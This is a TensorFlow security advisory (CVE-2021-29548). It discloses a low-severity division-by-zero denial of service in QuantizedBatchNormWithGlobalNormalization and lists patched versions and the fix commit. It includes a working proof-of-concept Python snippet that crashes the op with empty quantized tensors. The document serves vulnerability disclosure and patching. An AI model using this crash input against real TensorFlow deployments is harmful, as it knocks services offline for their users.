Division by 0 in `QuantizedBatchNormWithGlobalNormalization`

Low **mihaimaruseac** published **GHSA-p45v-v4pw-77jr** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:

```
import tensorflow as tf

t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
  gamma_max=gamma_max, out_type=tf.qint32,
  variance_epsilon=0.1, scale_after_normalization=True)
```

This is because the implementation does not validate all constraints specified in the op's contract.

Patches

We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team

Severity

Low

CVE ID

CVE-2021-29548

Weaknesses

No CWEs